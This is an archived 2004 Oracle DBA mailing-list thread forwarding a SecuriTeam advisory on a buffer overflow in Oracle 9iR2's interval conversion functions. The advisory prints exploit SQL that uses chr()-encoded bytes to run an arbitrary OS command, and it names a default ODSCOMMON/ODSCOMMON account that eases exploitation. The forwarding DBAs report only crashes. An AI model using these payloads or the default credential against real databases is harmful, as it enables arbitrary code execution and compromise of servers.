Oracle Database 9ir2 Interval Conversion Buffer Overflow

Links

Frequent Oracle Errors

•	TNS:could not resolve the connect identifier specified
•	Backtrace message unwound by exceptions
•	invalid identifier
•	PL/SQL compilation error
•	internal error
•	missing expression
•	table or view does not exist
•	end-of-file on communication channel
•	TNS:listener unknown in connect descriptor
•	insufficient privileges
•	PL/SQL: numeric or value error string
•	TNS:protocol adapter error
•	ORACLE not available
•	target host or object does not exist
•	invalid number
•	unable to allocate string bytes of shared memory
•	resource busy and acquire with NOWAIT specified
•	error occurred at recursive SQL level string
•	ORACLE initialization or shutdown in progress
•	archiver error. Connect internal only, until freed
•	snapshot too old
•	unable to extend temp segment by string in tablespace
•	Credential retrieval failed
•	missing or invalid option
•	invalid username/password; logon denied
•	unable to create INITIAL extent for segment
•	out of process memory when trying to allocate string bytes
•	shared memory realm does not exist
•	cannot insert NULL
•	TNS:unable to connect to destination
•	remote database not found'>ora-02019
•	exception encountered: core dump
•	inconsistent datatypes
•	no data found
•	TNS:operation timed out
•	PL/SQL: could not find program
•	existing state of packages has been discarded
•	maximum number of processes exceeded
•	error signaled in parallel query server
•	ORACLE instance terminated. Disconnection forced
•	TNS:packet writer failure
•	see ORA-12699
•	missing right parenthesis
•	name is already used by an existing object
•	cannot identify/lock data file
•	invalid file operation
•	quoted string not properly terminated

Oracle Database 9ir2 Interval Conversion Buffer Overflow

Oracle Database 9ir2 Interval Conversion Buffer Overflow

2004-02-26 - By Igor Neyman

Reply: 1 2 3 4 5 6 7 8 9 10

Tried it on 9.2, got the same ORA-03113 (See ORA-03113.ora-code.com).

Igor Neyman, OCP DBA

ineyman@(protected)

-- --Original Message-- --
From: oracle-l-bounce@(protected)
[mailto:oracle-l-bounce@(protected)] On Behalf Of
Jared.Still@(protected)
Sent: Thursday, February 26, 2004 1:18 PM
To: oracle-l@(protected)
Subject: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow

Has anyone here heard of this?

First I 've seen it. Could not get the exploit to work on 8i or 9i,
haven 't tried 10g.

It does however cause an ORA-3113 (See ORA-3113.ora-code.com).

Jared

=================================

The following security advisory is sent to the securiteam mailing list,
and can be found at the SecuriTeam web site: http://www.securiteam.com
<http://www.securiteam.com/ >

- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Oracle Database 9ir2 Interval Conversion Buffer Overflow

Oracle Database Server is one of the most used database servers in the
world, it was marketed as being unbreakable and many people thinks that
is one of the most secure database server in the market.

Oracle Database Server provides two functions that can be used with
PL/SQL to convert numbers to date/time intervals, these functions have
buffer overflow vulnerabilities.

Vulnerable Systems:
* Oracle Database version 9ir2 and prior

When any of these conversion functions are called with a long string as
a second parameter a buffer overflow occurs.

To reproduce the overflow execute the next PL/SQL:
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual;
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual;

Any Oracle Database user can exploit this vulnerability because access
to these functions can 't be restricted. Exploitation of this
vulnerability allow an attacker to execute arbitrary code, also it can
be exploited to cause DOS (Denial of service) killing Oracle server
process. An attacker can complete compromise the OS and database if
Oracle is running on Windows platform, because Oracle must run under the
local System account or under an administrative account. If Oracle is
running on *nix then only the database could be compromised because
Oracle runs mostly under oracle user which has restricted permissions.

Important: Exploitation of these vulnerabilities becomes easy if Oracle
Internet Directory has been deployed, because Oracle Internet Directory
creates a database user called ODSCOMMON that has a default password
ODSCOMMON, this password can not be changed, so any attacker can use
this user to connect to database and exploit these vulnerabilities.

Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server
and Linux confirm these vulnerabilities. Versions running in other OS
platforms are believed to be affected too. Previous Oracle Database
Server versions could be affected by these vulnerabilities.

Exploits:
-- These exploits should work on Windows 2000 Server and Windows XP, not
tested on Windows 2003.
-- Run any command at the end of the string
SELECT
NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) ||
chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) ||
chr(33) || chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE?
>c:\Unbreakable.txt ') ?FROM DUAL;

SELECT
NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) ||
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) ||
chr(35) || chr(148) || chr(01) || chr(255) || chr(37) || chr(172) ||
chr(33) || chr(148) || chr(01) || chr(32) || 'echo ARE YOU SURE?
>c:\Unbreakable.txt ') ?

FROM DUAL;

Vendor Fix:
Go to Oracle Metalink site, http://metalink.oracle.com
<http://metalink.oracle.com/ > .

Vendor Contact:
Oracle was contacted and they released a fix without telling the public
nor Ceaser anything and without issuing an alert.

Additional Information:
The information has been provided by Cesar <mailto:cesarc56@(protected) > .

========================================================================
========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and
body to: html-list-unsubscribe@(protected)
In order to subscribe to the mailing list and receive advisories in HTML
format, simply forward this email to: html-list-subscribe@(protected)

========================================================================
========
========================================================================
========

DISCLAIMER:
The information in this bulletin is provided "AS IS " without warranty of
any kind.
In no event shall we be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages.

<html >

<head >
<META HTTP-EQUIV= "Content-Type " CONTENT= "text/html; charset=us-ascii " >

<meta name=Generator content= "Microsoft Word 10 (filtered) " >

<style >
<!--
/* Font Definitions */
@(protected)
 {font-family:Tahoma;
 panose-1:2 11 6 4 3 5 4 4 2 4;}
@(protected)
 {font-family:sans-serif;
 panose-1:0 0 0 0 0 0 0 0 0 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
 {margin:0in;
 margin-bottom:.0001pt;
 font-size:12.0pt;
 font-family: "Times New Roman ";}
a:link, span.MsoHyperlink
 {color:blue;
 text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
 {color:blue;
 text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
 {margin:0in;
 margin-bottom:.0001pt;
 font-size:10.0pt;
 font-family: "Courier New ";}
p
 {margin-right:0in;
 margin-left:0in;
 font-size:12.0pt;
 font-family: "Times New Roman ";}
span.EmailStyle18
 {font-family:Arial;
 color:navy;}
@(protected) Section1
 {size:8.5in 11.0in;
 margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
 {page:Section1;}
-- >
</style >

</head >

<body lang=EN-US link=blue vlink=blue >

<div class=Section1 >

 Tried it on 9.2, got the same ORA-03113 (See ORA-03113.ora-code.com). 

 

<div >

 Igor Neyman, OCP DBA 

 ineyman@(protected) 

 

</div >

 

 -- --Original Message-- -- 
 From: 
oracle-l-bounce@(protected) [mailto:oracle-l-bounce@(protected)] On Behalf Of Jared.Still@(protected) 
 Sent: Thursday, February 26, 2004
1:18 PM 
 To: oracle-l@(protected) 
 Subject: [NEWS] Oracle Database
9ir2 Interval Conversion Buffer Overflow 

 

 
 Has anyone here heard of this? 
 
 First
I 've seen it. Could not get the exploit to work on 8i or 9i, haven 't
tried 10g. 
 
 It
does however cause an ORA-3113 (See ORA-3113.ora-code.com). 
 
 Jared 
 
 
 ================================= 
 
 
The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: <a href= "http://www.securiteam.com/ " >http://www.securiteam.com </a >


 - - promotion 
 
The SecuriTeam alerts list - Free, Accurate, Independent. 
 
Get your security news from a reliable source. 
 <a href= "http://www.securiteam.com/mailinglist.html " >http://www.securiteam.com/mailinglist.html </a >
 
 
 
- - - - - - - - - 

 Oracle Database 9ir2 Interval
Conversion Buffer Overflow 

 Oracle Database Server is one of the most used
database servers in the world, it was marketed as being unbreakable and many
people thinks that is one of the most secure database server in the market. 
 
Oracle Database Server provides two functions that can be used with PL/SQL to
convert numbers to date/time intervals, these functions have buffer overflow
vulnerabilities. 

 Vulnerable Systems: 
 
* Oracle Database version 9ir2 and prior 
 
When any of these conversion functions are called with a long string as a
second parameter a buffer overflow occurs. 
 
To reproduce the overflow execute the next PL/SQL: 
SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from dual; 
SELECT NUMTODSINTERVAL(1, 'longstringhere ') from dual; 
 
Any Oracle Database user can exploit this vulnerability because access to these
functions can 't be restricted. Exploitation of this vulnerability allow an
attacker to execute arbitrary code, also it can be exploited to cause DOS
(Denial of service) killing Oracle server process. An attacker can complete
compromise the OS and database if Oracle is running on Windows platform,
because Oracle must run under the local System account or under an
administrative account. If Oracle is running on *nix then only the database
could be compromised because Oracle runs mostly under oracle user which has
restricted permissions. 
 
Important: Exploitation of these vulnerabilities becomes easy if
Oracle Internet Directory has been deployed, because Oracle Internet Directory
creates a database user called ODSCOMMON that has a default password ODSCOMMON,
this password can not be changed, so any attacker can use this user to connect
to database and exploit these vulnerabilities. 
 
Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and
Linux confirm these vulnerabilities. Versions running in other OS platforms are
believed to be affected too. Previous Oracle Database Server versions could be
affected by these vulnerabilities. 
 
Exploits: 
-- These exploits should work on Windows 2000 Server and Windows XP, not tested
on Windows 2003. 
-- Run any command at the end of the string 
SELECT NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) ||
chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) ||
chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) ||
chr(32)|| 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ?FROM DUAL; 
 
SELECT NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' ||
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || chr(36) ||
chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) || chr(148) ||
chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || chr(148) || chr(01) ||
chr(32) || 'echo ARE YOU SURE? >c:\Unbreakable.txt ') ? 
 
FROM DUAL; 
 
Vendor Fix: 
Go to Oracle Metalink site, <a href= "http://metalink.oracle.com/ " >http://metalink.oracle.com </a >.
 
 
Vendor Contact: 
Oracle was contacted and they released a fix without telling the public nor
Ceaser anything and without issuing an alert. 

 Additional Information: 
The information has been provided by <a href= "mailto:cesarc56@(protected) " >Cesar </a >.


 ================================================================================
 

 
 
 
 
This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to:
<a href= "mailto:html-list-unsubscribe@(protected) " >html-list-unsubscribe@(protected) </a >
 
In order to subscribe to the mailing list and receive advisories in HTML
format, simply forward this email to: <a
href= "mailto:html-list-subscribe@(protected) " >html-list-subscribe@(protected) </a >
 

 ================================================================================
 
================================================================================
 

 DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty
of any kind. 
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages. 
 
 
 

</div >

</body >

</html >